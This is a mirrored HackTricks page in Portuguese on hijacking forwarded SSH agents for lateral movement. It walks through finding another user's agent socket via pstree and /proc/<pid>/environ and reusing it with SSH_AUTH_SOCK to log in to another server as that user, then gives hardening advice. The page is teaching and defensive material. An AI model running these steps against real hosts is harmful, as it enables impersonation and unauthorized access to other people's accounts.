Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-01 00:49:40 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/linux-hardening/privilege-escalation/ssh-forward-agent-exploitation.md
Translator workflow c928d8e52e Translated to Portuguese
2023-06-06 18:56:34 +00:00

12 KiB
Raw Blame History

Resumo

O que você pode fazer se descobrir dentro da configuração /etc/ssh_config ou dentro de $HOME/.ssh/config isso:

ForwardAgent yes

Se você é root dentro da máquina, provavelmente pode acessar qualquer conexão ssh feita por qualquer agente que você possa encontrar no diretório /tmp

Impersonate Bob usando um dos ssh-agent de Bob:

SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston

Por que isso funciona?

Quando você define a variável SSH_AUTH_SOCK, você está acessando as chaves de Bob que foram usadas na conexão ssh de Bob. Então, se sua chave privada ainda estiver lá (normalmente estará), você poderá acessar qualquer host usando-a.

Como a chave privada é salva na memória do agente sem criptografia, suponho que se você for Bob, mas não souber a senha da chave privada, ainda poderá acessar o agente e usá-lo.

Outra opção é que o usuário proprietário do agente e o root possam acessar a memória do agente e extrair a chave privada.

Explicação longa e exploração

Retirado de: https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking/

Quando ForwardAgent não pode ser confiável

O SSH sem senhas torna a vida com sistemas operacionais semelhantes ao Unix muito mais fácil. Se sua rede requer sessões ssh encadeadas (para acessar uma rede restrita, por exemplo), o encaminhamento do agente se torna extremamente útil. Com o encaminhamento do agente, é possível para mim conectar do meu laptop ao meu servidor de desenvolvimento e de lá executar um checkout svn de outro servidor, tudo sem senhas, mantendo minha chave privada segura em minha estação de trabalho local.

Isso pode ser perigoso, no entanto. Uma rápida pesquisa na web revelará vários artigos indicando que isso só é seguro se os hosts intermediários forem confiáveis. Raramente, no entanto, você encontrará uma explicação do porquê é perigoso.

É para isso que este artigo serve. Mas primeiro, um pouco de contexto.

Como funciona a autenticação sem senha

Ao autenticar no modo normal, o SSH usa sua senha para provar que você é quem diz ser. O servidor compara um hash desta senha com um que ele tem em arquivo, verifica se os hashes correspondem e permite que você entre.

Se um invasor conseguir quebrar a criptografia usada para proteger sua senha enquanto ela está sendo enviada para o servidor, ele pode roubá-la e fazer login como você sempre que desejar. Se um invasor puder realizar centenas de milhares de tentativas, ele eventualmente poderá adivinhar sua senha.

Um método de autenticação muito mais seguro é a autenticação de chave pública, uma maneira de fazer login sem senha. A autenticação de chave pública requer um par correspondente de chaves pública e privada. A chave pública criptografa mensagens que só podem ser descriptografadas com a chave privada. O computador remoto usa sua cópia da sua chave pública para criptografar uma mensagem secreta para você. Você prova que é você descriptografando a mensagem usando sua chave privada e enviando a mensagem de volta para o computador remoto. Sua chave privada permanece segura em seu computador local o tempo todo, protegida contra ataques.

A chave privada é valiosa e deve ser protegida, portanto, por padrão, ela é armazenada em um formato criptografado. Infelizmente, isso significa inserir sua frase de senha antes de usá-la. Muitos artigos sugerem usar chaves privadas sem frase de senha (não criptografadas) para evitar esse inconveniente. Isso é uma má ideia, pois qualquer pessoa com acesso à sua estação de trabalho (por acesso físico, roubo ou hackeamento) agora também tem acesso gratuito a qualquer computador configurado com sua chave pública.

O OpenSSH inclui ssh-agent, um daemon que é executado em sua estação de trabalho local. Ele carrega uma cópia descriptografada de sua chave privada na memória, para que você só precise inserir sua frase de senha uma vez. Ele fornece um socket local que o cliente ssh pode usar para pedir que ele descriptografe a mensagem criptografada enviada de volta pelo servidor remoto. Sua chave privada permanece segura no processo do ssh-agent, permitindo que você faça ssh sem digitar senhas.

Como ForwardAgent funciona

Muitas tarefas exigem sessões ssh "encadeadas". Considere meu exemplo anterior: eu faço ssh do meu laptop para o servidor de desenvolvimento. Lá, preciso executar uma atualização svn, usando o protocolo "svn+ssh". Como seria bobo deixar uma cópia não criptografada da minha chave privada supersecreta em um servidor compartilhado, agora estou preso com autenticação por senha. No entanto, se eu habilitar "ForwardAgent" na configuração ssh em meu laptop, o ssh usa suas capacidades de tunelamento embutidas para criar outro socket no servidor de desenvolvimento que é tunelado de volta para o socket ssh-agent em minha estação de trabalho local. Isso significa que o cliente ssh no servidor de desenvolvimento agora pode enviar solicitações de "descriptografar esta mensagem secreta" diretamente de volta para o ssh-agent em execução em minha estação de trabalho, autenticando-se para o servidor svn sem nunca ter acesso à minha chave privada.

Por que isso pode ser perigoso

Simplesmente, qualquer pessoa com privilégios de root no servidor intermediário pode fazer uso gratuito do seu ssh-agent para autenticá-los em outros servidores. Uma demonstração simples mostra o quão trivialmente isso pode ser feito. Os nomes de host e usuários foram alterados para proteger os inocentes.

Meu laptop está executando ssh-agent, que se comunica com os programas cliente ssh por meio de um socket. O caminho para este soquete é armazenado na variável de ambiente SSH_AUTH_SOCK:

mylaptop:~ env|grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners

mylaptop:~ ls -l /tmp/launch-oQKpeY/Listeners
srwx------  1 alice  wheel  0 Apr  3 11:04 /tmp/launch-oQKpeY/Listeners

O programa ssh-add nos permite visualizar e interagir com chaves no agente:

mylaptop:~ alice$ ssh-add -l
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)

Eu tenho "ForwardAgent yes" no ~/.ssh/config no meu laptop. Então, o ssh vai criar um túnel conectando o socket local a um socket local no servidor remoto:

mylaptop:~ alice$ ssh seattle

seattle:~ $ env|grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990

Mesmo que minhas chaves não estejam instaladas em "seattle", os programas clientes ssh ainda são capazes de acessar o agente em execução na minha máquina local:

seattle:~ alice $ ssh-add -l
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)

Então... com quem podemos mexer?

seattle:~ alice $ who
alice   pts/0        2012-04-06 18:24 (office.example.com)
bob     pts/1        2012-04-03 01:29 (office.example.com)
alice   pts/3        2012-04-06 18:31 (office.example.com)
alice   pts/5        2012-04-06 18:31 (office.example.com)
alice   pts/6        2012-04-06 18:33 (office.example.com)
charlie pts/23       2012-04-06 13:10 (office.example.com)
charlie pts/27       2012-04-03 12:32 (office.example.com)
bob     pts/29       2012-04-02 10:58 (office.example.com)

Eu nunca gostei do Bob. Para encontrar sua conexão de agente, eu preciso encontrar o processo filho de uma de suas sessões ssh:

seattle:~ alice $ sudo -s
[sudo] password for alice:

seattle:~ root # pstree -p bob
sshd(16816)───bash(16817)

sshd(25296)───bash(25297)───vim(14308)

Existem várias maneiras para o root visualizar o ambiente de um processo em execução. No Linux, os dados estão disponíveis em /proc/<pid>/environ. Como eles são armazenados em strings terminadas em NULL, usarei o comando tr para converter os NULLs em novas linhas:

seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816

Agora tenho tudo o que preciso saber para sequestrar o ssh-agent do Bob:

seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l
2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA)

Se eu tiver um alvo específico em mente, agora devo ser capaz de me conectar diretamente. Caso contrário, apenas observar a lista de processos ou pesquisar no arquivo de histórico de Bob deve apresentar muitos alvos de oportunidade. Neste caso, eu sei que Bob tem todos os tipos de arquivos super secretos armazenados no servidor chamado "boston":

seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
bob@boston:~$ whoami
bob

Consegui com sucesso usar meus privilégios de root em "Seattle" para acessar como Bob em "Boston". Aposto que posso usá-lo para demiti-lo.

Proteja-se!

Não permita que seu ssh-agent armazene suas chaves indefinidamente. No OS X, configure sua Keychain para bloquear após inatividade ou quando a tela é bloqueada. Em outras plataformas Unix, passe a opção -t para ssh-agent para que suas chaves sejam removidas após segundos.

Não habilite o encaminhamento do agente ao se conectar a hosts não confiáveis. Felizmente, a sintaxe ~/.ssh/config torna isso bastante simples:

Host trustworthyhost
  ForwardAgent yes

Host *
  ForwardAgent no

Leitura recomendada

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥